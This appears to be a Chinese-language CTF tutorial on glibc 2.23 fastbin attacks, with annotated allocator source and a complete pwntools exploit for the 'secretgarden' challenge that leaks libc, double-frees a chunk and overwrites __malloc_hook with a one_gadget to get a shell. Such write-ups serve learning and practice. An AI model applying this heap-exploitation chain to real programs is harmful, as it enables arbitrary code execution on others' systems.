Fastbin attack 总结

Fastbin attack

本文参考了ctf-wiki 和glibc

要了解fastbin attack，我们先要了解fastbin的机制。由于libc2.26后加入了tcache机制，我们这里就只分析glibc 2.23。

下面的代码选自glibc 2.23 （有删除）

static void _int_free (mstate av, mchunkptr p, int have_lock)
{
  size = chunksize (p);    //获取p的size
  check_inuse_chunk(av, p);//检查p的物理相邻的下一个堆块的inuse位是否置1

  //检查p的大小是否小于global_max_fast
  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
      #if TRIM_FASTBINS
          //检查p物理相邻的堆块是否是top chunk
          && (chunk_at_offset(p, size) != av->top)
      #endif
      ) 
  {
    //检查p的物理相邻下个堆块是否存在,且大小是否满足最小和最大要求
    if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
	       || __builtin_expect (chunksize (chunk_at_offset (p, size))
			     >= av->system_mem, 0))
        {.......}

	//对chunk的data块通过memset赋值，但是默认情况下是不进行操作    
    free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);
    //设置 malloc_state的flag
    set_fastchunks(av);

    //获取p对应大小的fastbinY的索引
    unsigned int idx = fastbin_index(size);
    //fb指向对应大小的fastbinY的地址
    fb = &fastbin (av, idx);

    /* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
    // old为 对应大小的fastbinY的fd值，也就是第一个对块的地址
    mchunkptr old = *fb, old2;
    unsigned int old_idx = ~0u;
    
    do
      {
      	 // Check that the top of the bin is not the record we are going to add
         //检查 fastbin中对应的bin的第一项 是否 等于 p (新加入的堆块)
        	if (__builtin_expect (old == p, 0))
      	  {
      	    errstr = "double free or corruption (fasttop)";
      	    goto errout;
      	  }
          //获取 fastbin中对应的bin的第一项的索引。
        	if (have_lock && old != NULL)
        	  old_idx = fastbin_index(chunksize(old));
          //让  p 的fd指向 顶部的fastbin块
        	p->fd = old2 = old;
    }
    while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
    //catomic_compare_and_exchange_val_rel 功能是 如果*fb等于old2，则将*fb存储为p，返回old2；
    // *fb=p 也就是 让对应fastbin的fd指向 p(新加入的堆块)

    //检查fastbin中对应的bin的第一项的大小是否与p(要添加的块)的大小相同。
    if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0))
      {
        	errstr = "invalid fastbin entry (free)";
        	goto errout;
      }
  }
}

#define fastbin_index(sz) ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

可以看到fastbin 只是检查了fastbin 第一个chunk是否与新加入的chunk相同。所以我们可以使用free(0) free(1) free(0) 的方式来达到double free。之后还检查大小是否满足要求，通过size算出fastbin_index然后再比对。如果对应的fastbinY的大小为0x70，64位的话size可以在0～0xF之间浮动，也就是说size为0x70-0x7f都会被认为是合法的。32为同理，在0-0x7之间浮动。

利用的前提:

• 能创建 fastbin 类型的 chunk

• 存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞

如果细分的话，可以做如下的分类：

• Fastbin Double Free

  即利用double free漏洞构造chunk如下图所示

  

  我们首先申请回chunk1然后修改其fd值指向一个fake_chunk，这里的chunk要保证size域合法，我们再次申请3次同样的chunk,就会依次拿到chunk2,chunk1,fake_chunk。我们只要在关键位置伪造fake_chunk就可以了。例如在malloc_hook左右伪造fake_chunk，然后修改malloc_hook的值为one_gadget就可以在调用malloc时get_shell。

• UAF

  同Fastbin Double Free利用手法相似，只不过只需free一次，然后修改FD指针指向fake_chunk。

• House of Spirit

  该技术的核心在于在目标位置处伪造 fastbin chunk，并将其释放，再申请回来,从而达到分配指定地址的 chunk 的目的。

  1. 可以 free 你指定的位置的fake_chunk。

  2. 要想构造 fastbin fake chunk，并且将其释放时，可以将其放入到对应的 fastbin 链表中，需要绕过一些必要的检测，即

     • fake chunk 的 ISMMAP 位不能为1，因为 free 时，如果是 mmap 的 chunk，会单独处理。

     • fake chunk 地址需要对齐， 32位8字节对齐，64为16字节对齐

     • fake chunk 的 size 大小需要满足对应的 fastbin 的需求。

     • fake chunk 的 next chunk 的大小合理。

• Alloc to Stack

  该技术的核心点在于劫持 fastbin 链表中 chunk 的 fd 指针，把 fd 指针指向我们想要分配的栈上，从而实现控制栈中的一些关键数据，比如返回地址等。

• Arbitrary Alloc

  Arbitrary Alloc 其实与 Alloc to stack 是完全相同的，唯一的区别是分配的目标不再是栈中。我们可以把 chunk 分配到任意的可写内存中，比如bss、heap、data、stack等等。

小结：以上是fastbin attack的集中方法，总结起来就是3步:

1.  伪造合理的chunk 
2.  使fd指向fake_chunk，或者free fake_chunk。   使得fake_chunk加入到fastbin中
3.  分配得到fake_chunk,进行后续利用

例题

hitcontraining_secretgarden ，本题libc 为2.23

首先检查一下保护

main函数，有增删查，没有改。

漏洞点，del函数free的时候指针没有清零。并且free前没有检查flowerlist[i][0]的值是否为1

其他都是常规操作，我就不一一细讲了。

程序留有后门，我们也可以劫持函数的got来实现调用后门。但是我们这里使用的是劫持__malloc_hook，由于one_gadget不能用，我们通过__libc_realloc改变栈环境，使得one_gadget条件成立。

from pwn import *
context.log_level = 'debug'
p = process('./secretgarden')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def add(length,name,color):
    p.sendlineafter('Your choice : ','1')
    p.sendlineafter('name :',str(length))
    p.sendafter('flower :',name)
    p.sendlineafter('flower :',color)#0x17

def show():
    p.sendlineafter('Your choice : ','2')

def delete(idx):
    p.sendlineafter('Your choice : ','3')
    p.sendlineafter('garden:',str(idx))
    
#----------------leak libc ---------------#
add(0x80,'A'*0x80,'B'*23)#0
add(0x80,'B'*0x80,'B'*23)#1

delete(0) #将其置入unsorted bin

add(0x50,'E'*8,'B'*23)#2
show()
p.recvuntil('EEEEEEEE')
libc_base = u64(p.recvuntil('
',drop=True).ljust(8,'x00')) - 0x3c4b78
print 'libc_base: '+hex(libc_base)
one = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base + one[1]
#-------------- double free ---------------#

add(0x68,'A'*0x68,'B'*23)#3
add(0x68,'B'*0x68,'B'*23)#4
delete(3)
delete(4)
delete(3) #fastbinY(0x70) -> 3 -> 4 ->3

#--------------fastbin attack --------------#
add(0x68,p64(libc_base+libc.symbols['__malloc_hook']-0x23),'B'*23)#5
add(0x68,'A'*0x68,'B'*23)#6
add(0x68,'A'*0x68,'B'*23)#7
add(0x68,'x00'*0xb+p64(one_gadget)+p64(libc_base+libc.symbols['__libc_realloc']+8),'B'*23)
#gdb.attach(p)
p.sendlineafter('Your choice : ','1')


p.interactive()